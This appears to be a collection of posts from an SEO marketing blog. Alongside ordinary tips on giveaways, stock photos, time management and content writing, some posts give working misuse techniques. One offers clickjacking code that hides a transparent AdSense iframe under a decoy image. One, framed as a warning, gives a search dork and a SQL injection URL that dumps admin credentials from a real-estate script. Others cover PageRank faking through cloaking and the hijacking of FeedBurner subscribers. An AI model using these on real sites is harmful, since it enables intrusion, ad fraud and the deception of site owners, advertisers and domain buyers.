Search Engine Marketing Spot

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Spot On Tuesday’s Tip is about giving something away for free in an effort to generate more traffic and/or subscribers to your website.  So before you think I am crazy, you need to understand that people like things that are free. You will have a higher conversion rate with a free offer then you will with making them just pay for something. The exception to this will be a product or service you are advertising where the viewer knows they have to purchase something. Their are thousands of ebook websites out there that when advertised say “buy this ebook on whatever topic” or “get this whatever topic ebook today”. Since you are not using the word free in any of those sentences the viewer will probably think they have to buy something. Lets take a look at a some of the more common free giveaways and then at a free giveaway that I will be implementing into SEMSpot.

Free Newsletter

Now the most common free giveaway is a newsletter, it can be weekly or even monthly. Normally you would offer your newsletter on almost any page that the viewer can run into. This way if they did not see it on the homepage for whatever reason, you are giving them a second chance to see it. You can offer that second chance to them with a small form on the side of each page, or make a custom button/graphic that stands out a little bit to show them the sign up page.

Some may argue that if the viewer does not utilize the form on the front page, that it is not setup properly. Well, what you have to understand is sometimes the viewer came to your site for one specific reason and has tunnel vision on that reason. They can care less what your navigation says, what banners you show or what form you put on the page. They see what they came for and click on it or just read it. Once they are done, they may stay and browse your site. That is why it does not hurt to offer your newsletter on multiple pages, this way you have maximum exposure to the viewer.

Free Ebook

Offering a free ebook through your website is another great way to drive traffic to your site, that is as long as the ebook you are offering has good information in it. Sites that offer free ebooks that are junk will not reap the full rewards as if they gave away an ebook that was good. With a good ebook, will come good residual traffic, as if your ebook was junk word can spread and who wants to download an ebook that is useless, even if it is free. You offer the free ebook just as you would your free newsletter. Put it on almost every page, give it a custom graphic that stands out a little bit to push the viewer to click on it.

Free Trial Membership

If your site has a paid section, then you can offer a free trial to that section to any new viewers. It can be 3, 5 or 7 days free. I do not like to go over 7 days, that gives the viewer way to much time to read over everything your site has to offer and they may think they do not need to pay now because they already got what they were looking for. Some of you may argue that if the site has great information the viewer will pay and come back. That is not always true, your site may have great information, however if it does not have a lot of it, the free membership could be enough time to see and read everything. That is why I do not like to go over 7 days. Giving someone 15 or 30 days is to much in my opinion, all you want to do is give them a little teaser to the site, let them have a small taste and then take the spoon out of their mouth. If they like what they see, then they will pay to be a member of your site. This has always been common in the adult industry, for the past 10 years you have always seen free trial access to those sites. To this day they still do it now, if it didn’t work then the large adult companies would no longer do it. This method works great if you are running a paid forum, giving the viewer only a few days to see what they can buy is great. If your forum is large enough, they will not get to read all of the informative posts before you take that spoon away from them. When you do so, chances are you will be giving them that spoon back with a payment from them. Now with a lot of forums, you normally do not ask for any payment information up front. If this is how you are doing it, then keep in mind that a smart user will just go behind a proxy and free email account to gain access to the site again. This is where you need to decide on trying to take payment information before giving them free access.

Free Write Ups and Reviews

This is the approach I am taking, giving my readers the chance at a free write up about their internet marketing website. The reasoning behind this is to have people who have write ups done for them to spread to the word to their readers. I am not requiring a link back to my site, or anything else in return. However if word gets around that you can get some free links and a write up for free, I would think that almost any internet marketer would take up on the offer. Other bloggers can write about what I am and doing and offering for free, so by doing that it can drive more traffic back to my website. It is a win/win situation in my eyes. I could be wrong though, this could all just be a bust in the end. We will find out in due time.

What other free methods have you used to help market your website in the past?

This article was originally written on SEMSpot.com, a Search Engine Marketing Blog.

Before going any further you need to realize that using such a technique, you run the risk of getting your account banned. I do not suggest using this on your major sponsors. If need be, sign up with a new affiliate or two and test it out for yourself.

The concept is simple, we are going to be showing the affiliate image with the size of 300×250. At the same time we will be overlaying our own image or video that is of the same size and hiding the affiliate image behind it. Why do this you might ask? It is easy, you want the people to click on your image or video and think they are going to see more of it. Instead they are clicking on your affiliate think and making you a little bit of money.

Here is a screen shot of the image being fed by the affiliate, in this case I will just use Google to show you.

Now we have our custom image or video that we would like to use on top of our affiliate link.

So now let me show you an easy way to take your own image or video and overlay it on top of your affiliate image. Here is the sample code that can be used to display your affiliate information under an image. You can replace the image with a video as well, just remember to keep the image or video the same size as the ad you are trying to cover up. I also suggest using a rotation script so your CLR is not 100%. I can go over an easy method of rotating you ads with PHP tomorrow. This technique works great for stumbleupon traffic and such, if you truly do have a video though you can always ad a link under the image. This way after they click on the image and see it did not work, they can go back and click on the link “click here if video does not play”. That way they can at least see the video and can help keep the heat turned down a little for you. There is a live link at the bottom of the code block to see this code in action and see how easy it is. Just remember this is against some affiliates TOS and will get your account banned quickly.

<pre>
<code markup=”none”>
<style>
iframe{
opacity: 0;
border: 0px none transparent;
position: absolute;
top: 0px;
left: 0px;
height: 300px;
width: 250px;
filter:alpha(opacity=0);
}

img{
position: absolute;
top: -50px;
left: 0px;
height: 300px;
width: 250px;
}

</style>

<img src=”http://www.semspot.com/wp-content/uploads/2008/01/blackhat-image-trick.jpg” alt=”blackhat image trick”>
<script type=”text/javascript”><!–
google_ad_client = “545″;
google_ad_width = 300;
google_ad_height = 250;
google_ad_format = “300×250_as”;
google_ad_type = “image”;
google_ad_channel = “165464″;
//–></script>

<script type=”text/javascript” src=”http://pagead2.googlesyndication.com/pagead/show_ads.js”>
</script>

</code>

You can see a live example of this in action by clicking here.

This article was originally written on SEMSpot.com, a Search Engine Marketing Blog.

Spot On Tuesday’s tip of the week is more of a warning then anything else. I felt it was needed to make this exploit public as soon as possible because I do not condone in hacking any website. This method was being used for two things, one to deface the website completely and redirect it to where ever the person intended and secondly this method is being used to add links to the website in an effort to increase the backlinks for whomever. Imagine you find 200 sites, some have a low PR, some have a high PR and you used this method to add as many links as you saw fit to help boost your site. This not only allows you to do that, it also gives you full admin rights to the site and that is why I feel it was needed to bring this out in the open. This exploit revolves around phprealestatescript.com, which they have issued a fix for this known problem as of this posting. If you or anyone you know that uses this script on there website (mainly real estate websites) then please pass this information along to them and have them download the fix for this attack. You can download the patch here from there site. I will show you how this method is used by people, so let’s get started.

Step 1. Do a search on Google for “Browse with Interactive Map” with the quotation marks. This will bring up results like these on the first page.

Step 2. Find a site that has not already been exploited, just go to like page 19 and you will be able to test this method out. If you find sites that are still vulnerable then PLEASE contact them and let them know how to fix it. In the browser simply put in

www.website.com/fullnews.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,char(58),password),4,5/**/FROM/**/admin/*

Of course you will need to change the website.com to whatever the actual site address is. Once entered, if the site has not already been compromised it will bring up a screen like this.

Step 3. As you can see by the image, we now have the admin login information for this website. Now a quick visit to www.sitename.com/admin/login.php and you should see the admin login.

With admin access you have rights to the site and can make changes as you see fit. Now imagine a high traffic website that is now running your affiliate ads, or has site links inserted on high profile pages, etc. Yes this is pretty damn evil, but as shown above there are people who are taking down entire sites using this method. I hope you take this serious and update any websites you, friends, clients that use this real estate script for there website. The damage is extreme, a patch has been issued by the script creators so please go and update your’s ASAP!

This article was originally written and posted on SEMSpot.com, a Search Engine Marketing Blog. If you like the article please sign up to our RSS Feed.

When starting any internet marketing campaign, you always want to use clean and crisp images to have a professional look. Using clipart or trying to resize images that are to small looks bad from the viewer’s standpoint. Using bad images just gives the viewer one more excuse not to go through with what you are trying to offer them. They will stand back and say to themselves, “man this website looks horrible, there service/product can’t be any better”. So to take that though away from your viewers, you want to use the best images possible. There are royalty free image sites, however they can charge hundreds of dollars just to use a small set of images from there collection. Here I have compiled a list of free stock photo websites that you can use when creating your sites.

http://www.openphoto.net/
http://www.morguefile.com/
http://www.ars.usda.gov/is/graphics/photos/
http://www.pachd.com/free-images/index.html
http://www.freeclipartpictures.com/
http://www.freeimages.co.uk/
http://www.hooverstock.com/
http://geekphilosopher.com/MainPage/photos.htm
http://www.freefoto.com/index.jsp
http://www.123rf.com/freeimages.php
http://www.imageafter.com/
http://www.fws.gov/pictures/
http://images.jsc.nasa.gov/
http://commons.wikimedia.org/wiki/Main_Page
http://www.photolib.noaa.gov/
http://www.usda.gov/oc/photo/opclibra.htm
http://pdphoto.org/
http://www.stockvault.net/
http://www.fotogenika.net/modifica/igallery.asp
http://www.mayang.com/textures/
http://freelargephotos.com/
http://yotophoto.com/
http://www.bigfoto.com/
http://www.wpclipart.com/

If you have other sites like these, please list them here to share with everyone else.  Tomorrow I will be going over a tactic that everyone should take into consideration when using people and there faces when creating your landing pages.

This article was originally written and posted on SEMSpot.com, a Search Engine Marketing Blog. If you like the article please sign up to our RSS Feed.

Today’s Spot On tip of the week is about getting the most out of your marketing efforts by better utilizing your time. I will begin this article with two quotes, one I am sure everyone is familiar with and the other you might have never seen.

The early bird catches the worm.

Early to rise and late to bed.

So my quote of the early marketer catches the dollar is a little off from the original. However, as a search marketer, when someone tells you the early bird catches the worm then you need to think of it as the bird catching the dollar. Do you wake up at 10am. or even 11am. and begin your day? For some reading this then you are shaking your head yes to that question. You should notice I said wake up and not begin working at those times. Most that wake up in the morning do not start working right away. They may take a shower, eat some breakfast, take care of the kids (if you wake up at 10 Am. then I will assume either you have no kids or the wife/girlfriend has taken care of them) or you may catch the morning news. You might start working at 11am. or even noon if you are waking up at those times. When you start to actually work you may check your email, hit a few of your social media sites, send a few good afternoon instant messages or just read the MSN home page news. What I would like for you to do is keep track of your normal routine, keep track of the times you are most productive and what it is you were doing during that time. Then I would like for you to keep track of the non productive things you were doing and what times of the day and or night.

Why should you keep a log of what it is you do during your time of work? Well one of the words to the answer is in the original question and the other is about managing it. Time Management, it can make or break you, some people have it and other’s do not. The people that have it are mostly already successful in there line of work. They got to be successful because they knew how to properly manage there time, they are one of the early birds that catches dollar bills while you are still catching your Z’s and sleeping. In the same aspect they are also the ones who are going to bed late. Either to get some more work done or setup for the next morning or to just socialize on there favorite forums or social media sites. I personally get more work done early in the morning and later at night after the family has gone to bed. Lunch time hours for me seem to be my slack time, unless I am in a meeting with a client of course. I make a list of things I need to get done and also on things I would like to do, like start a new website project. Each morning I respond to some of my emails, and then I begin working on that list. I do not respond to all of my emails, I do this for two reasons. One being I do not want to get side tracked for the next few hours on nothing but emails, by doing this I would take my motivation for the morning and put it on slow motion since I would have been doing emails for the past few hours. Reason two being I wouldn’t have much else to do during my slack lunch hour time, or I should say hours.

This may sound crazy to some of you reading this, but I want you to take the log of yourself and make a list of things you will need to do the next day. I then want you to force yourself to wake up at 6am. and start working by no later then 7am. This gives you an hour to actually get out of bed and get your motivation for the day. There are two groups that start this early in the morning, your competition and the successful people in the same industry as you. Now some will argue with me that they get up at noon and do not start working until 2pm. What time do you go to bed, 3am, 4am. 5am? Those people still get more work done. They are the ones that are later to bed. I start my day around 7am and normally end it by 12am-1am. I do have down time from 6pm-10pm for the family, but the last few hours are spent writing a blog post, setting up new campaign ads for clients, sketching to landing page ideas and sometimes just unwinding with some forum reply’s. That is me, early to rise and late to bed.

What it boils down to is time management, either you start it now or you can continue to drag the extra weight on your shoulders that will continue holding you back. I understand people want to succeed online; they read the make money online blogs like shoemoney, doshdosh, darren rowse and think that it should be them. Well you do not make money online by working a partial schedule, you need to bust your butt and take the initiative to succeed. In the world of search marketing there are always new things to learn, new ideas to test and try out. You need to be on top of your game, not afraid to fail and by all means understand that time is valuable. Take full advantage of every hour you are in front of your computer and working. I understand we all need an hour or so a day to just relax or slow down so we chat in forums, chat rooms, instant messenger or whatever. You are still working though because you are networking with other people in the industry, or at least I hope you are lol.

I want you to make a schedule for the next day and force yourself to get up early. Now I understand the first day or two might be hard and you might feel like this is a waste. However, by the fourth or fifth day I bet you will sit back and see that you are getting more work done. So by all means be the early marketer that catches the dollar.

This article was originally written and posted on SEMSpot.com, a Search Engine Marketing Blog. If you like the article please sign up to our RSS Feed.

Today’s Spot On Tip revolves around writing better content for your websites. A common phrase you have probably read or heard about is “content is king”. Here I will list a few steps that should help you get towards your end goal of having quality content that is laid out properly on your sites. One thing to remember is it’s not just what you say, it is how you say it and how you present it to your readers that will make it “king”.

Unique Information – This is tricky for a lot of people, not everyone is a professional writer or has the ability to come up with there own content on the fly. To give yourself more ideas, you need to read more. Stumble, Digg, Sphinn, your favorite forums or even just flip through the SERP’s to give yourself ideas for your next great article or website topic. You could even ask a question in your subject or page heading and then post your own informative answer. By reading more, you should be able to get more ideas to write about.

Research – Unless you are an expert on the topic, you should always research what it is you are writing about or referring to in your content. One of the worst things you can do is make yourself try and stand out with a great story, just to find out you had mis-informed the readers. You now are standing out, as a sore thumb because the readers will more then likely let you know where you were wrong. This is where research comes into play, make sure you have your facts right before making your site content go live. People would rather read well informed content, this is what will make them come back and read more.

Readability – Not everyone actually reads your entire content, some people simply scan the content until something stands out to them or they find what interests them the most. This is why your content layout is very important and you make it easier to for the readers. Separate different areas what you write with paragraphs and ensure if the next paragraph is a different topic that you highlight that for the readers. Here I have broken down each paragraph, made the paragraph topic bold so anyone scanning can easily see the steps I am referring to from my subject line.

Grammar/Spelling – I am not a professional writer and I will be the first to admit I have a hard time with this one here. However try your hardest to make sure you use proper grammar and always spell check your content. You can lose loyalty to your website if the content does not read properly or has obvious misspelled words all over the place.

Passion – Always try and instill passion in what you write, make your points stand out and state your information. Readers will pick up on that passion for what it is you are writing about and they will be hungry to read more of your content. I like to refer back to your science teacher, he/she used the same mono tone voice in there lecture and going over notes put you to sleep. Imagine if you had a science teacher that had passion each and every day while lecturing you, I bet more people would pay attention. The same concept goes when you write your content. A good example would be Andy Beard’s Blog. He shows his passion in almost every post he makes, which is why people go back each day to see what new things he has written about.

I cannot promise you that by following these 5 steps that you will make the front pages of every major social media site out there. I hope though that by using these 5 steps as a foundation to your content writing, that it will give you a better understanding of where to start.

This article was originally written and posted on SEMSpot.com, a Search Engine Marketing Blog. If you like the article please sign up to our RSS Feed.

So you have your eyes set on what you consider a prize domain name for your new website, and to your luck it seems to already have a pretty high PR. Before you rush out and buy that domain name, do some homework first to make sure everything checks out. Falsifying a sites PR is not as hard as people may think. Lets say the domain name you are looking at has a PR of 5 which is not to bad really, but how do you know it is legit. The quickest way is just do a search for www.yourdomain.com into google and check the cache site. If the URL’s do not match up then there is a strong chance that site has a fake PR. This is not 100% accurate, as no PR checking tool out there can ever claim to be 100% because we do not know what steps google takes to fully determine a sites PR. An instance of a site cache not matching up and still be legitimate is if the user has used a 301 redirect for that domain name in recent weeks.

So how do people actually fake there PR? With cloaking of course! You take your favorite cloaking script and you can use this code below. I do not take credit for this code as a co-worker of mine gave it to me. All in all still nice to know how it all works.

<?php
/* insert a cloaking script here to detect whether the visitor is
Googlebot */
if (Googlebot) {
echo ‘<meta http-equiv=”refresh” content=”0;url=http://www.google.com/”>’;
exit();
}
else {
echo “<p>My page!</p>”;
}
?>

This trick has been around for quite sometime now, but I bet most people were unaware of how this all works and really how quick and easy it is to check a site for potentially have a fake PR. People will use this technique quite often when trying to sell a domain name to people in hopes for a much higher price. The higher the PR, the better the domain is suppose to be. Most experienced domainers know of this already, however people new to the industry might be unaware of this.

This article was originally written and posted on SEMSpot.com, a Search Engine Marketing Blog. If you like the article please sign up to our RSS Feed.

Tuesday’s Spot On tip of the week is about you and your marketing strategies. Read the title a few times, then write down or type your answer for later on. Everyone wants to know the secret of how to make a living with internet marketing and what easy steps to take in getting them started. They read a few websites or see a success story and want to emulate that person since they saw how much money that person made in that short amount of time. Why do you want to be like someone else? Why try and duplicate what has already been done?

What I notice a lot of is people trying to be is the next affiliate marketing superstar. The thing with being a successful affiliate marketer is not about copying people and what they have done in the past. It is about being ahead of the game, thinking of what market to target next with the best product/service you can pitch to them. Thing is people, that person did not make all that money that fast. They spent hours and hours testing out there marketing strategies to see what works best for them in whatever niche they are trying to promote. Successful marketers can spend those hours and see zero results from it, instead of giving up or just trying to copy someone else they move forward to there next idea. You see these ideas are one of the driving forces behind what makes a person succeed or fail. If you are just trying to use other people’s ideas then you will not get that far. At first you might see some success and see that light at the end of the tunnel, but I bet you will end up falling flat on your face and that light will fade. The reason why most will fail is due to the fact of wanting to be like everyone else you read about, you end up being one of a million, because there are probably a million other people out there trying to succeed by copying and emulating what they have read. When you read a “new trick” or “new technique” do you really think it is new? Boy I sure hope not, those tricks and techniques had been tested over and over again until perfection. Then used to the fullest by that individual or at times group of people to profit the most money. Only then might you see and read about what they did to achieve that success of making money. Problem is that technique had been used previously by a select few, now the rest of the world can try it to. How long do you think it will still work well?

I want you to try and see the big picture, being successful with internet marketing is not about copying what others have done. It is about laying your own ground work for your success and future. You need to realize and understand that coming up with new ideas is all around you. What products do you see around in your every day life that you could target to a specific audience? What new websites are out that you can market on, what new marketing techniques can you use on these websites to increase your success. You need to be able to think for yourself, you need to be that one in a million and push yourself to succeed. I believe anyone can succeed if they have the will power and motivation to do so. Now I ask you to go back to the answer you had wrote down or typed up before and post it here. Being one in a million can happen, you just need to believe in yourself and set your goals in the right direction. That direction is your own road to success, there is no need to be like anyone else and follow there road, you now need to start building your own.

Do you want more RSS subscribers? I am sure you do and are always looking for great ways to increase your subscription numbers. Neil Patel is a guest bloger this week for Shoemoney and has written a post How To Get More RSS Subscribers Through Feedburner. He goes over some of the basic methods in the post and then as a bonus tip through somewhat of a curveball. Here is the bonus tip that Neil mentioned.

I know some of the above stuff was a bit basic so here’s a bonus tip: If you want to increase your RSS subscribers I would find all the top bloggers that aren’t using FeedBurner and register their FeedBurner URL under your account. Once you setup the feed with their content you’ll notice that after a while it will start gaining subscribers and usually after it gets to roughly 100 or so you can email FeedBurner and request them to redirect the subscribers to your blog feed. Granted, the content will be different but people are lazy and most won’t unsubscribe.

Now he is in no way saying to go out and do this, he simply just stated the facts as is to let people know it could be done. I’ll bet all the top blogs on technorati either already have a feedburner account or by now someone has created them. This advice would work though because there are people out there who will not see what has happened and continue to read your feeds. Thing is though, if you do not write good content or your content is not related really to what they thought they were subscribing to then you will lose that person. This comes with the territory of trying to essentially hijack subscribers from other blogs, your subscription rate will go up, but over time that number will go back down because those people will unsubscribe. Now if you have good content and are consistent then your subscription numbers would hopefully go up. Implementing this hijacking method would raise your numbers higher in a shorter amount of time, but as I said before I bet those hijacked subscribers will unsubscribe in due time. If you got enough hijacked subscribers this could still increase your earnings for your blog since it is more traffic.

I am sure you have read how important getting your website listed with DMOZ, well that was true years ago, however things have changed. In today’s marketing world, it is all about the content of your website, the links pointing back to your website and of course the on page optimization factors. 4 or 5 years ago everyone wanted to be on DMOZ because it would help there ranking on Google. Today however there are plenty of websites ranking very high and have no DMOZ listing. The directory is still edited by humans, just not very many who do the job of an editor. There are also editors who take there title and make money with it by offering to list your website for money, in some cases thousands of dollars. Google still uses DMOZ, however they do not update there system very often. I would think that with Google doing so much these days, they would dump DMOZ all together and create there own directory. Back to the topic though, do not stress out over not getting listed with DMOZ. People have waited years after submitting there website information and to this day have not seen a link or even got a response back of any kind. Worry about marketing your website by other means, stressing out and thinking a DMOZ listing is a crucial factor in your marketing campaign will only slow you down.

On a side note, Jeremy over at Shoemoney.com wrote a post about a recent experience he had with a DMOZ editor, check out DMOZ Extortion